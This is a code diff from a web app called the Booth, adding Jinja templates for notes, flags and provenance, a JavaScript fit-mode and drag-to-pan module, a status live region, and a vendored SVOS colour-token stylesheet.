<span class="mark-when">{{ a.created }}{% if a.by %} · {{ a.by }}{% endif %}</span>
|
||||
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark">
|
||||
<input type="hidden" name="mark" value="{{ a.id }}">
|
||||
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
|
||||
<button type="submit" class="mark-x" title="withdraw this note">×</button>
|
||||
</form>
|
||||
<span class="mark-state mark-state-flag">✔ flagged</span>
|
||||
<span class="mark-id">{{ tray|length }} item{{ '' if tray|length == 1 else 's' }} · in set order</span>
|
||||
</header>
|
||||
<pre class="mark-text">{{ a.text }}</pre>
|
||||
<div class="tray">
|
||||
{% for it in tray %}
|
||||
<a class="tray-item{% if it.blurred %} is-blurred{% endif %}" href="view?f={{ it.url }}" title="{{ it.name }}">
|
||||
<span class="sr-only">{{ it.name }}</span>{%- if it.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ it.thumb or it.url }}" alt="">{% else %}<span class="tray-kind">{{ it.kind }}</span>{% endif -%}
|
||||
<span class="tray-ord">#{{ "%0*d"|format(ord_width, it.ordinal) }}</span></a>
|
||||
{% endfor %}
|
||||
</div>
|
||||
</article>
|
||||
{% endfor %}
|
||||
|
||||
{% if flags %}
|
||||
</details>
|
||||
{% endif %}
|
||||
{% if orphan_flags %}
|
||||
<article class="mark mark-flags">
|
||||
<header class="mark-head">
|
||||
<span class="mark-state mark-state-flag">✔ flagged</span>
|
||||
<span class="mark-id">{{ orphan_flags|length }} on files no longer in this booth</span>
|
||||
</header>
|
||||
<ul class="orphan-flags">
|
||||
{% for m in orphan_flags %}
|
||||
<li><span class="mono">{{ m.target }}</span>
|
||||
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark" data-inplace>
|
||||
<input type="hidden" name="mark" value="{{ m.id }}">
|
||||
<button type="submit" class="mark-x" title="withdraw this flag" aria-label="withdraw this flag">×</button>
|
||||
</form></li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
</article>
|
||||
{% endif %}
|
||||
{% elif flags %}
|
||||
<article class="mark mark-flags" id="mark-flags">
|
||||
<header class="mark-head">
|
||||
<span class="mark-state mark-state-flag">✔ flagged</span>
|
||||
@@ -125,11 +183,34 @@
|
||||
</article>
|
||||
{% endif %}
|
||||
|
||||
{% set fold_notes = tray is defined and notes %}
|
||||
{% if fold_notes %}<details class="v-fold"><summary class="v-fold-head">notes · {{ notes|length }}</summary>{% endif %}
|
||||
{% for a in notes %}
|
||||
<article class="mark mark-note" id="mark-{{ a.id }}">
|
||||
<header class="mark-head">
|
||||
<span class="mark-state mark-state-note">note</span>
|
||||
{% if a.target %}<span class="mark-target">on <a href="view?f={{ a.target|urlencode }}">{{ a.target }}</a></span>
|
||||
{% else %}<span class="mark-target">on this booth</span>{% endif %}
|
||||
<span class="board-spacer"></span>
|
||||
<span class="mark-when"><time datetime="{{ a.created }}">{{ a.created|clock }}</time>{% if a.by|byline %} · {{ a.by|byline }}{% endif %}</span>
|
||||
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark" data-inplace>
|
||||
<input type="hidden" name="mark" value="{{ a.id }}">
|
||||
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
|
||||
<button type="submit" class="mark-x" title="withdraw this note" aria-label="withdraw this note">×</button>
|
||||
</form>
|
||||
</header>
|
||||
<pre class="mark-text">{{ a.text }}</pre>
|
||||
</article>
|
||||
{% endfor %}
|
||||
{% if fold_notes %}</details>{% endif %}
|
||||
|
||||
|
||||
{# The operator volunteering a remark, which before marks had no mechanism at
|
||||
all — this is the direction that was running through chat. #}
|
||||
<form class="mark-add" method="post" action="/b/{{ name_url }}/note">
|
||||
<form class="mark-add" method="post" action="/b/{{ name_url }}/note" data-inplace>
|
||||
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
|
||||
<textarea name="text" rows="2" placeholder="a note on this booth, for the session that posted it"></textarea>
|
||||
<textarea name="text" rows="2" aria-label="a note on this booth, for the session that posted it" placeholder="a note on this booth, for the session that posted it"></textarea>
|
||||
<button type="submit">Add note</button>
|
||||
</form>
|
||||
{% endif %}
|
||||
</section>
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
{# THE ANNOUNCEMENT — who posted this booth and why. Defined ONCE and called
|
||||
from both index lanes and the booth page header: the kept lane is a separate
|
||||
block, and patching only the ephemeral one would leave the durable,
|
||||
most-looked-at boards with exactly the defect this closes.
|
||||
|
||||
Four states, and `unannounced` is distinct from `unreadable` on purpose —
|
||||
folding "cannot be read" into "never said" hides the one case somebody has to
|
||||
go and fix. The classes are the test hooks; the words are for the operator. #}
|
||||
{% macro provenance(m) -%}
|
||||
{% if m is none %}
|
||||
<div class="prov prov-none">unannounced</div>
|
||||
{% elif m.error %}
|
||||
<div class="prov prov-broken" title="{{ m.error }}">unreadable</div>
|
||||
{% else %}
|
||||
<div class="prov"><span class="prov-who">{{ m.handle }}</span>{% if m.why %} · <span class="prov-why" title="{{ m.why }}">{{ m.why }}</span>{% endif %}</div>
|
||||
{% endif %}
|
||||
{%- endmacro %}
|
||||
@@ -0,0 +1,122 @@
|
||||
{# THE STAGE MACHINERY (r2c, shared by R3). One copy, behind a stated
|
||||
interface, used by the review (one stage) and compare (two). It DEFINES two
|
||||
things and binds nothing by itself:
|
||||
|
||||
BoothMode.bind({toggle, fit, one, onChange}) page level, once
|
||||
BoothStage.attach(stageEl, {img, onSettle}) once per stage
|
||||
|
||||
A page binds BoothMode ONLY when at least one of its stages is an image (the
|
||||
review's rule): two videos get no toggle. No key is bound here — the review
|
||||
gains none, and compare's `Z` is compare's own (r3 C4, INV-6). No
|
||||
ResizeObserver here either: each page owns its own, so the review's stays in
|
||||
view.html with its mutation row. #}
|
||||
<script>
|
||||
/* The mode is ONE class on <html>, `stage-one` (absent = Fit), set by the
|
||||
head script before any stage existed. This owns the class, the pressed
|
||||
state, the storage writes and the cross-tab listener. It never raises:
|
||||
storage that throws costs the memory, never the click. */
|
||||
var BoothMode = {
|
||||
bind: function (o) {
|
||||
var d = document.documentElement;
|
||||
var toggle = o.toggle, bFit = o.fit, bOne = o.one;
|
||||
var onChange = o.onChange || function () {};
|
||||
var show = function () {
|
||||
var one = d.classList.contains('stage-one');
|
||||
bFit.classList.toggle('on', !one);
|
||||
bOne.classList.toggle('on', one);
|
||||
bFit.setAttribute('aria-pressed', one ? 'false' : 'true');
|
||||
bOne.setAttribute('aria-pressed', one ? 'true' : 'false');
|
||||
};
|
||||
/* The click applies to the page first and is remembered second: storage
|
||||
that throws costs the memory, never the click. */
|
||||
var setMode = function (one) {
|
||||
d.classList.toggle('stage-one', one);
|
||||
try {
|
||||
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.removeItem('booth.fit');
|
||||
} catch (e) {}
|
||||
show();
|
||||
onChange();
|
||||
};
|
||||
toggle.hidden = false;
|
||||
show();
|
||||
/* A mode chosen in another tab moves this one (the theme's rule). */
|
||||
window.addEventListener('storage', function (e) {
|
||||
if (e.key !== 'booth.fit' && e.key !== null) return;
|
||||
var one = false;
|
||||
try { one = localStorage.getItem('booth.fit') === 'one'; } catch (x) {}
|
||||
d.classList.toggle('stage-one', one);
|
||||
show();
|
||||
onChange();
|
||||
});
|
||||
bFit.addEventListener('click', function () { setMode(false); });
|
||||
bOne.addEventListener('click', function () { setMode(true); });
|
||||
return {
|
||||
setMode: setMode,
|
||||
flip: function () { setMode(!d.classList.contains('stage-one')); }
|
||||
};
|
||||
}
|
||||
};
|
||||
|
||||
/* One stage: whether its picture can pan, and DRAG TO PAN (r2c S4). Returns
|
||||
{settle, pannable}; `settle` is the stage's own settle, then the page's
|
||||
`onSettle` (the review places its arrows there). */
|
||||
var BoothStage = {
|
||||
attach: function (stage, o) {
|
||||
var d = document.documentElement;
|
||||
var img = o.img || null;
|
||||
var onSettle = o.onSettle || function () {};
|
||||
function pannable() {
|
||||
var can = !!img && d.classList.contains('stage-one') &&
|
||||
(stage.scrollWidth > stage.clientWidth || stage.scrollHeight > stage.clientHeight);
|
||||
stage.classList.toggle('can-pan', can);
|
||||
return can;
|
||||
}
|
||||
function settle() { pannable(); onSettle(); }
|
||||
if (!img) return {settle: settle, pannable: pannable};
|
||||
|
||||
img.addEventListener('load', settle);
|
||||
if (img.complete) settle();
|
||||
|
||||
/* The picture follows the pointer, a press that moves under 4px is not a
|
||||
drag, and a press on a control inside the stage keeps its click. The
|
||||
picture cannot be dragged away. */
|
||||
stage.addEventListener('dragstart', function (e) { e.preventDefault(); });
|
||||
var drag = null;
|
||||
stage.addEventListener('pointerdown', function (e) {
|
||||
if (e.button !== 0 || !pannable()) return;
|
||||
/* a press on the stage's own scrollbar is the scrollbar's, not a pan
|
||||
(heid bug-hunt, groa: the pan fought the thumb, backwards) */
|
||||
var r = stage.getBoundingClientRect();
|
||||
if (e.clientX - r.left - stage.clientLeft >= stage.clientWidth ||
|
||||
e.clientY - r.top - stage.clientTop >= stage.clientHeight) return;
|
||||
/* nothing interactive lives in a stage today (its reveal sits over
|
||||
it); this keeps a future control's click its own */
|
||||
if (e.target.closest && e.target.closest('button, a, input, textarea, select, summary')) return;
|
||||
drag = {x: e.clientX, y: e.clientY, l: stage.scrollLeft, t: stage.scrollTop, on: false, id: e.pointerId};
|
||||
});
|
||||
stage.addEventListener('pointermove', function (e) {
|
||||
if (!drag || e.pointerId !== drag.id) return;
|
||||
/* No button held: the press ended where the stage could not hear it
|
||||
(released outside before the drag began). Never pan on a hover. */
|
||||
if (!(e.buttons & 1)) { endDrag(); return; }
|
||||
var dx = e.clientX - drag.x, dy = e.clientY - drag.y;
|
||||
if (!drag.on) {
|
||||
if (dx * dx + dy * dy < 16) return; /* under 4px in all: a click */
|
||||
drag.on = true;
|
||||
stage.classList.add('is-grabbing');
|
||||
try { stage.setPointerCapture(drag.id); } catch (x) {}
|
||||
}
|
||||
stage.scrollLeft = drag.l - dx;
|
||||
stage.scrollTop = drag.t - dy;
|
||||
e.preventDefault();
|
||||
});
|
||||
function endDrag() {
|
||||
if (drag && drag.on) stage.classList.remove('is-grabbing');
|
||||
drag = null;
|
||||
}
|
||||
stage.addEventListener('pointerup', endDrag);
|
||||
stage.addEventListener('pointercancel', endDrag);
|
||||
return {settle: settle, pannable: pannable};
|
||||
}
|
||||
};
|
||||
</script>
|
||||
@@ -0,0 +1,6 @@
|
||||
{# as S5b: THE status line — one per page, server-rendered and empty. Never
|
||||
hidden: an empty live region takes no space (.status:empty) and stays
|
||||
displayed, so words set into it are announced. The script sets its text and
|
||||
its tone (data-tone) only; it builds no markup (INV-6). The CSS floats it
|
||||
(bottom centre, above the fixed review stage), so it never moves the page. #}
|
||||
<p class="status" data-region="status" role="status" aria-live="polite"></p>
|
||||
@@ -0,0 +1,375 @@
|
||||
/* SVOS tokens — VENDORED BY COPY from design-systems
|
||||
palettes/svos/colors.css + svos-theme.css @ ed2f8d8. Do not hand-edit values;
|
||||
re-vendor from the source. The only transform is SCOPING: SVOS selects its
|
||||
four themes by [data-theme]; the Booth follows the OS unless the viewer
|
||||
forces a theme (the top-bar toggle sets data-theme on <html>). So light
|
||||
applies when the OS asks and dark is not forced, or when light is forced;
|
||||
high contrast follows whichever theme is in effect. No JS, no attribute:
|
||||
exactly the OS. Semantic tokens only in the Booth layer below — never a
|
||||
primitive, never a raw hex. */
|
||||
:root {
|
||||
--graphite-10: oklch(0.17 0.01 250);
|
||||
--graphite-15: oklch(0.21 0.01 248);
|
||||
--graphite-20: oklch(0.255 0.011 246);
|
||||
--graphite-25: oklch(0.31 0.012 244);
|
||||
--graphite-30: oklch(0.37 0.012 242);
|
||||
--graphite-40: oklch(0.46 0.012 238);
|
||||
--graphite-50: oklch(0.55 0.011 234);
|
||||
--graphite-60: oklch(0.64 0.01 230);
|
||||
--graphite-65: oklch(0.69 0.009 228);
|
||||
--graphite-70: oklch(0.73 0.009 226);
|
||||
--graphite-75: oklch(0.79 0.009 224);
|
||||
--graphite-80: oklch(0.84 0.009 222);
|
||||
--graphite-90: oklch(0.91 0.008 216);
|
||||
--graphite-94: oklch(0.945 0.006 214);
|
||||
--graphite-96: oklch(0.965 0.005 212);
|
||||
--graphite-98: oklch(0.985 0.003 210);
|
||||
--green-deep: oklch(0.48 0.1 119);
|
||||
--green-base: oklch(0.66 0.15 119);
|
||||
--green-bright: oklch(0.8 0.185 119);
|
||||
--sage-deep: oklch(0.48 0.07 140);
|
||||
--sage-base: oklch(0.66 0.1 140);
|
||||
--sage-bright: oklch(0.8 0.1 140);
|
||||
--amber-deep: oklch(0.48 0.1 78);
|
||||
--amber-base: oklch(0.72 0.148 82);
|
||||
--amber-bright: oklch(0.84 0.17 86);
|
||||
--orange-deep: oklch(0.48 0.16 36);
|
||||
--orange-base: oklch(0.66 0.213 38.5);
|
||||
--orange-bright: oklch(0.8 0.12 44);
|
||||
--intel-deep: oklch(0.48 0.09 235);
|
||||
--intel-base: oklch(0.66 0.1 235);
|
||||
--intel-bright: oklch(0.8 0.08 235);
|
||||
--armed-green: var(--green-bright);
|
||||
--hazard-orange: var(--orange-base);
|
||||
--graphite-ink: var(--graphite-15);
|
||||
}
|
||||
|
||||
/* dark — the lair default, and data-theme="dark" */
|
||||
:root {
|
||||
color-scheme: dark;
|
||||
--surface-sunken: var(--graphite-10);
|
||||
--surface-base: var(--graphite-15);
|
||||
--surface-raised: var(--graphite-20);
|
||||
--surface-overlay: oklch(0.31 0.012 244);
|
||||
--surface-card: var(--graphite-20);
|
||||
--surface-input: var(--graphite-10);
|
||||
--surface-scrim: oklch(0.14 0.01 250 / 0.72);
|
||||
--text-heading: var(--graphite-90);
|
||||
--text-body: var(--graphite-75);
|
||||
--text-muted: var(--graphite-70);
|
||||
--text-faint: var(--graphite-60);
|
||||
--text-inverse: var(--graphite-15);
|
||||
--text-link: var(--intel-bright);
|
||||
--text-link-hover: var(--graphite-90);
|
||||
--border-subtle: var(--graphite-25);
|
||||
--border-default: var(--graphite-25);
|
||||
--border-strong: var(--graphite-40);
|
||||
--border-focus: var(--green-bright);
|
||||
--accent: var(--green-bright);
|
||||
--accent-hover: oklch(0.845 0.185 119);
|
||||
--accent-active: oklch(0.73 0.17 119);
|
||||
--accent-text: var(--green-bright);
|
||||
--accent-contrast: var(--graphite-10);
|
||||
--accent-soft: color-mix(in oklab, var(--green-bright) 12%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-bright) 20%, transparent);
|
||||
--success: var(--sage-base);
|
||||
--success-text: var(--sage-bright);
|
||||
--success-soft: color-mix(in oklab, var(--sage-base) 14%, transparent);
|
||||
--warning: var(--amber-base);
|
||||
--warning-text: var(--amber-bright);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 13%, transparent);
|
||||
--danger: var(--orange-base);
|
||||
--danger-hover: oklch(0.71 0.18 38.5);
|
||||
--danger-text: var(--orange-bright);
|
||||
--danger-contrast: var(--graphite-10);
|
||||
--danger-soft: color-mix(in oklab, var(--orange-base) 14%, transparent);
|
||||
--intel: var(--intel-base);
|
||||
--intel-text: var(--intel-bright);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-base) 14%, transparent);
|
||||
--selection-bg: var(--green-bright);
|
||||
--selection-fg: var(--graphite-10);
|
||||
}
|
||||
|
||||
/* art layer: voices, type, space, radii, motion, elevation, the devices */
|
||||
:root {
|
||||
/* voices — Plex speaks, mono records, Exan appears on the letterhead */
|
||||
--font-sans: "IBM Plex Sans", ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, sans-serif;
|
||||
--font-mono: "JetBrains Mono", ui-monospace, "SF Mono", Menlo, Consolas, monospace;
|
||||
--font-brand: "Exan", "IBM Plex Sans", sans-serif;
|
||||
|
||||
/* type — 14px base, calm ladder */
|
||||
--size-display: 38px; --size-h1: 25px; --size-h2: 18px; --size-h3: 15px;
|
||||
--size-body: 14px; --size-sm: 13px; --size-caption: 12px;
|
||||
--size-micro: 11px; --size-mono: 12.5px;
|
||||
--tracking-display: -0.02em; --tracking-h: -0.01em; --tracking-caps: 0.12em;
|
||||
--leading-body: 1.55; --leading-tight: 1.12;
|
||||
|
||||
/* spacing — 4px base, roomier than an ops console has any right to be */
|
||||
--space-1: 4px; --space-2: 8px; --space-3: 12px; --space-4: 16px;
|
||||
--space-5: 20px; --space-6: 24px; --space-8: 32px; --space-12: 48px;
|
||||
--space-16: 64px; --space-24: 96px;
|
||||
|
||||
/* radii — calm 8/12; the Bureau stamps square off at 3 */
|
||||
--radius-sm: 3px; --radius-md: 6px; --radius-lg: 8px;
|
||||
--radius-xl: 12px; --radius-pill: 999px;
|
||||
|
||||
/* motion — unhurried decel; nothing loops, nothing bounces */
|
||||
--ease-out: cubic-bezier(0.16, 1, 0.3, 1);
|
||||
--dur-1: 120ms; --dur-2: 200ms; --dur-3: 300ms;
|
||||
|
||||
/* elevation (dark default: heavier, cool) */
|
||||
--shadow-sm: 0 1px 2px rgb(0 0 0 / 0.35);
|
||||
--shadow-md: 0 4px 14px rgb(0 0 0 / 0.4);
|
||||
--shadow-lg: 0 14px 36px rgb(0 0 0 / 0.5);
|
||||
|
||||
/* device 2 — the hazard stripe (irreversible actions ONLY) */
|
||||
--hazard-alt: color-mix(in oklab, var(--danger) 25%, var(--surface-sunken));
|
||||
--hazard-stripe: repeating-linear-gradient(-45deg,
|
||||
var(--danger) 0 8px, var(--hazard-alt) 8px 16px);
|
||||
|
||||
/* device 3 — the armed glow (live power ONLY) */
|
||||
--glow-armed: 0 0 12px color-mix(in oklab, var(--accent) 40%, transparent);
|
||||
}
|
||||
|
||||
/* light: the OS asks and the viewer has not forced dark ... */
|
||||
@media (prefers-color-scheme: light) {
|
||||
:root:not([data-theme="dark"]) {
|
||||
color-scheme: light;
|
||||
--surface-sunken: var(--graphite-94);
|
||||
--surface-base: var(--graphite-96);
|
||||
--surface-raised: var(--graphite-98);
|
||||
--surface-overlay: #ffffff;
|
||||
--surface-card: var(--graphite-98);
|
||||
--surface-input: #ffffff;
|
||||
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
|
||||
--text-heading: var(--graphite-15);
|
||||
--text-body: var(--graphite-30);
|
||||
--text-muted: var(--graphite-40);
|
||||
--text-faint: var(--graphite-50);
|
||||
--text-inverse: var(--graphite-90);
|
||||
--text-link: oklch(0.455 0.097 235);
|
||||
--text-link-hover: var(--graphite-15);
|
||||
--border-subtle: oklch(0.89 0.006 218);
|
||||
--border-default: oklch(0.85 0.008 220);
|
||||
--border-strong: var(--graphite-75);
|
||||
--border-focus: var(--green-deep);
|
||||
--accent: var(--green-deep);
|
||||
--accent-hover: oklch(0.44 0.1 119);
|
||||
--accent-active: oklch(0.4 0.09 119);
|
||||
--accent-text: oklch(0.44 0.1 119);
|
||||
--accent-contrast: #ffffff;
|
||||
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
|
||||
--success: var(--sage-deep);
|
||||
--success-text: var(--sage-deep);
|
||||
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
|
||||
--warning: var(--amber-deep);
|
||||
--warning-text: var(--amber-deep);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
|
||||
--danger: var(--orange-deep);
|
||||
--danger-hover: oklch(0.44 0.15 36);
|
||||
--danger-text: var(--orange-deep);
|
||||
--danger-contrast: #ffffff;
|
||||
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
|
||||
--intel: var(--intel-deep);
|
||||
--intel-text: var(--intel-deep);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
|
||||
--selection-bg: var(--green-deep);
|
||||
--selection-fg: #ffffff;
|
||||
--shadow-sm: 0 1px 2px rgb(23 31 38 / 0.07);
|
||||
--shadow-md: 0 4px 14px rgb(23 31 38 / 0.1);
|
||||
--shadow-lg: 0 14px 36px rgb(23 31 38 / 0.14);
|
||||
--glow-armed: 0 0 10px color-mix(in oklab, var(--accent) 30%, transparent);
|
||||
}
|
||||
}
|
||||
|
||||
/* ... or the viewer forced light. Same declarations as above, by construction. */
|
||||
:root[data-theme="light"] {
|
||||
color-scheme: light;
|
||||
--surface-sunken: var(--graphite-94);
|
||||
--surface-base: var(--graphite-96);
|
||||
--surface-raised: var(--graphite-98);
|
||||
--surface-overlay: #ffffff;
|
||||
--surface-card: var(--graphite-98);
|
||||
--surface-input: #ffffff;
|
||||
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
|
||||
--text-heading: var(--graphite-15);
|
||||
--text-body: var(--graphite-30);
|
||||
--text-muted: var(--graphite-40);
|
||||
--text-faint: var(--graphite-50);
|
||||
--text-inverse: var(--graphite-90);
|
||||
--text-link: oklch(0.455 0.097 235);
|
||||
--text-link-hover: var(--graphite-15);
|
||||
--border-subtle: oklch(0.89 0.006 218);
|
||||
--border-default: oklch(0.85 0.008 220);
|
||||
--border-strong: var(--graphite-75);
|
||||
--border-focus: var(--green-deep);
|
||||
--accent: var(--green-deep);
|
||||
--accent-hover: oklch(0.44 0.1 119);
|
||||
--accent-active: oklch(0.4 0.09 119);
|
||||
--accent-text: oklch(0.44 0.1 119);
|
||||
--accent-contrast: #ffffff;
|
||||
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
|
||||
--success: var(--sage-deep);
|
||||
--success-text: var(--sage-deep);
|
||||
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
|
||||
--warning: var(--amber-deep);
|
||||
--warning-text: var(--amber-deep);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
|
||||
--danger: var(--orange-deep);
|
||||
--danger-hover: oklch(0.44 0.15 36);
|
||||
--danger-text: var(--orange-deep);
|
||||
--danger-contrast: #ffffff;
|
||||
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
|
||||
--intel: var(--intel-deep);
|
||||
--intel-text: var(--intel-deep);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
|
||||
--selection-bg: var(--green-deep);
|
||||
--selection-fg: #ffffff;
|
||||
--shadow-sm: 0 1px 2px rgb(23 31 38 / 0.07);
|
||||
--shadow-md: 0 4px 14px rgb(23 31 38 / 0.1);
|
||||
--shadow-lg: 0 14px 36px rgb(23 31 38 / 0.14);
|
||||
--glow-armed: 0 0 10px color-mix(in oklab, var(--accent) 30%, transparent);
|
||||
}
|
||||
|
||||
/* dark high contrast: whenever dark is in effect (light, below, outranks it) */
|
||||
@media (prefers-contrast: more) {
|
||||
:root {
|
||||
--surface-sunken: var(--graphite-10);
|
||||
--surface-base: var(--graphite-15);
|
||||
--surface-raised: var(--graphite-20);
|
||||
--surface-overlay: oklch(0.31 0.012 244);
|
||||
--surface-card: var(--graphite-20);
|
||||
--surface-input: var(--graphite-10);
|
||||
--surface-scrim: oklch(0.14 0.01 250 / 0.72);
|
||||
--text-heading: var(--graphite-90);
|
||||
--text-body: var(--graphite-75);
|
||||
--text-muted: var(--graphite-70);
|
||||
--text-faint: oklch(0.7142 0.0085 230);
|
||||
--text-inverse: var(--graphite-15);
|
||||
--text-link: var(--intel-bright);
|
||||
--text-link-hover: var(--graphite-90);
|
||||
--border-subtle: var(--graphite-25);
|
||||
--border-default: var(--graphite-40);
|
||||
--border-strong: var(--graphite-50);
|
||||
--border-focus: var(--green-bright);
|
||||
--accent: var(--green-bright);
|
||||
--accent-hover: oklch(0.845 0.185 119);
|
||||
--accent-active: oklch(0.73 0.17 119);
|
||||
--accent-text: var(--green-bright);
|
||||
--accent-contrast: var(--graphite-10);
|
||||
--accent-soft: color-mix(in oklab, var(--green-bright) 12%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-bright) 20%, transparent);
|
||||
--success: var(--sage-base);
|
||||
--success-text: var(--sage-bright);
|
||||
--success-soft: color-mix(in oklab, var(--sage-base) 14%, transparent);
|
||||
--warning: var(--amber-base);
|
||||
--warning-text: var(--amber-bright);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 13%, transparent);
|
||||
--danger: var(--orange-base);
|
||||
--danger-hover: oklch(0.71 0.18 38.5);
|
||||
--danger-text: var(--orange-bright);
|
||||
--danger-contrast: var(--graphite-10);
|
||||
--danger-soft: color-mix(in oklab, var(--orange-base) 14%, transparent);
|
||||
--intel: var(--intel-base);
|
||||
--intel-text: var(--intel-bright);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-base) 14%, transparent);
|
||||
--selection-bg: var(--green-bright);
|
||||
--selection-fg: var(--graphite-10);
|
||||
}
|
||||
}
|
||||
|
||||
/* light high contrast: the OS light case ... */
|
||||
@media (prefers-contrast: more) and (prefers-color-scheme: light) {
|
||||
:root:not([data-theme="dark"]) {
|
||||
--surface-sunken: var(--graphite-94);
|
||||
--surface-base: var(--graphite-96);
|
||||
--surface-raised: var(--graphite-98);
|
||||
--surface-overlay: #ffffff;
|
||||
--surface-card: var(--graphite-98);
|
||||
--surface-input: #ffffff;
|
||||
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
|
||||
--text-heading: var(--graphite-15);
|
||||
--text-body: var(--graphite-30);
|
||||
--text-muted: oklch(0.4403 0.0102 238);
|
||||
--text-faint: oklch(0.4403 0.00935 234);
|
||||
--text-inverse: var(--graphite-90);
|
||||
--text-link: oklch(0.4371 0.08245 235);
|
||||
--text-link-hover: var(--graphite-15);
|
||||
--border-subtle: oklch(0.89 0.006 218);
|
||||
--border-default: var(--graphite-60);
|
||||
--border-strong: var(--graphite-40);
|
||||
--border-focus: var(--green-deep);
|
||||
--accent: var(--green-deep);
|
||||
--accent-hover: oklch(0.44 0.1 119);
|
||||
--accent-active: oklch(0.4 0.09 119);
|
||||
--accent-text: oklch(0.436 0.085 119);
|
||||
--accent-contrast: #ffffff;
|
||||
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
|
||||
--success: var(--sage-deep);
|
||||
--success-text: oklch(0.4033 0.0595 140);
|
||||
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
|
||||
--warning: var(--amber-deep);
|
||||
--warning-text: oklch(0.4103 0.085 78);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
|
||||
--danger: var(--orange-deep);
|
||||
--danger-hover: oklch(0.44 0.15 36);
|
||||
--danger-text: oklch(0.4225 0.136 36);
|
||||
--danger-contrast: #ffffff;
|
||||
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
|
||||
--intel: var(--intel-deep);
|
||||
--intel-text: oklch(0.4373 0.0765 235);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
|
||||
--selection-bg: var(--green-deep);
|
||||
--selection-fg: #ffffff;
|
||||
}
|
||||
}
|
||||
|
||||
/* ... and the forced light case. */
|
||||
@media (prefers-contrast: more) {
|
||||
:root[data-theme="light"] {
|
||||
--surface-sunken: var(--graphite-94);
|
||||
--surface-base: var(--graphite-96);
|
||||
--surface-raised: var(--graphite-98);
|
||||
--surface-overlay: #ffffff;
|
||||
--surface-card: var(--graphite-98);
|
||||
--surface-input: #ffffff;
|
||||
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
|
||||
--text-heading: var(--graphite-15);
|
||||
--text-body: var(--graphite-30);
|
||||
--text-muted: oklch(0.4403 0.0102 238);
|
||||
--text-faint: oklch(0.4403 0.00935 234);
|
||||
--text-inverse: var(--graphite-90);
|
||||
--text-link: oklch(0.4371 0.08245 235);
|
||||
--text-link-hover: var(--graphite-15);
|
||||
--border-subtle: oklch(0.89 0.006 218);
|
||||
--border-default: var(--graphite-60);
|
||||
--border-strong: var(--graphite-40);
|
||||
--border-focus: var(--green-deep);
|
||||
--accent: var(--green-deep);
|
||||
--accent-hover: oklch(0.44 0.1 119);
|
||||
--accent-active: oklch(0.4 0.09 119);
|
||||
--accent-text: oklch(0.436 0.085 119);
|
||||
--accent-contrast: #ffffff;
|
||||
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
|
||||
--success: var(--sage-deep);
|
||||
--success-text: oklch(0.4033 0.0595 140);
|
||||
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
|
||||
--warning: var(--amber-deep);
|
||||
--warning-text: oklch(0.4103 0.085 78);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
|
||||
--danger: var(--orange-deep);
|
||||
--danger-hover: oklch(0.44 0.15 36);
|
||||
--danger-text: oklch(0.4225 0.136 36);
|
||||
--danger-contrast: #ffffff;
|
||||
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
|
||||
--intel: var(--intel-deep);
|
||||
--intel-text: oklch(0.4373 0.0765 235);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
|
||||
--selection-bg: var(--green-deep);
|
||||
--selection-fg: #ffffff;
|
||||
}
|
||||
}
|
||||
+1770
-439
File diff suppressed because it is too large
Load Diff
+495
-73
@@ -1,24 +1,35 @@
|
||||
{% extends "base.html" %}
|
||||
{% from "_provenance.html" import provenance %}
|
||||
{% from "_lifetime.html" import lifetime %}
|
||||
{% from "_dates.html" import dates %}
|
||||
{# The blur toggle, defined ONCE. There are three item branches in this file
|
||||
(doc / media / other) and the first cut of this feature patched only one of
|
||||
them, so docs rendered with no control at all. A macro makes "patched two of
|
||||
three" impossible rather than merely unlikely. #}
|
||||
{% macro blurtoggle(name_url, it, cls='') -%}
|
||||
